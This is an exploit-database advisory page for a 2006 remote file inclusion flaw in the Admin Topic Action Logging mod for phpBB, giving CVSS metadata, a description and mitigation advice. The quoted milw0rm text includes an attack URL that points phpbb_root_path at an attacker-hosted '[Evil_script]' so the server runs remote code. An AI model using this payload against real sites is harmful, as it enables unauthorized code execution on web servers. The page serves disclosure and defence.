Admin Topic Action Logging Remote File Inclusion Vulnerability

vendor:

phpBB

by:

SpiderZ

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: phpBB

Affected Version From: 2.0.x

Affected Version To: 2.0.21

Patch Exists: YES

Related CWE: N/A

CPE: a:phpbb:phpbb

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

Admin Topic Action Logging Remote File Inclusion Vulnerability

A vulnerability exists in the Admin Topic Action Logging (ATAL) version 0.95 for phpBB (2.0.x - 2.0.21). An attacker can exploit this vulnerability to include a remote file containing malicious code which will be executed by the vulnerable application on the web server.

Mitigation:

Ensure that user input is validated and filtered before being used in the application. This can be done by using a whitelist of accepted inputs that strictly conform to specifications, rejecting any input which does not match the criteria.

Source

Exploit-DB raw data:

           /      \
        \  \  ,,  /  /
         '-.`\()/`.-'
        .--_'(  )'_--.
       / /` /`""`\ `\ \           * SpiderZ Hacking Security *
        |  |  ><  |  |
        \  \      /  /
            '.__.'


# Author: SpiderZ
# Admin Topic Action Logging Remote File Inclusion Vulnerability
# Version 0.95 Admin Topic Action Logging
# For: phpBB ( 2.0.x - 2.0.21 )
# Site: www.spiderz.altervista.org
# Site02: www.spiderz.netsons.org
_________________________________________________________________________




http://site.com/[path]/admin/admin_topic_action_logging.php?setmodules=pagestart&phpbb_root_path=http://[Evil_script]




-------------------------------------------------------------------------------------
# Download: http://www.nivisec.com/downloads/phpbb/admin_topic_action_logging_beta.zip
# File: 38 KB
-------------------------------------------------------------------------------------

# milw0rm.com [2006-10-04]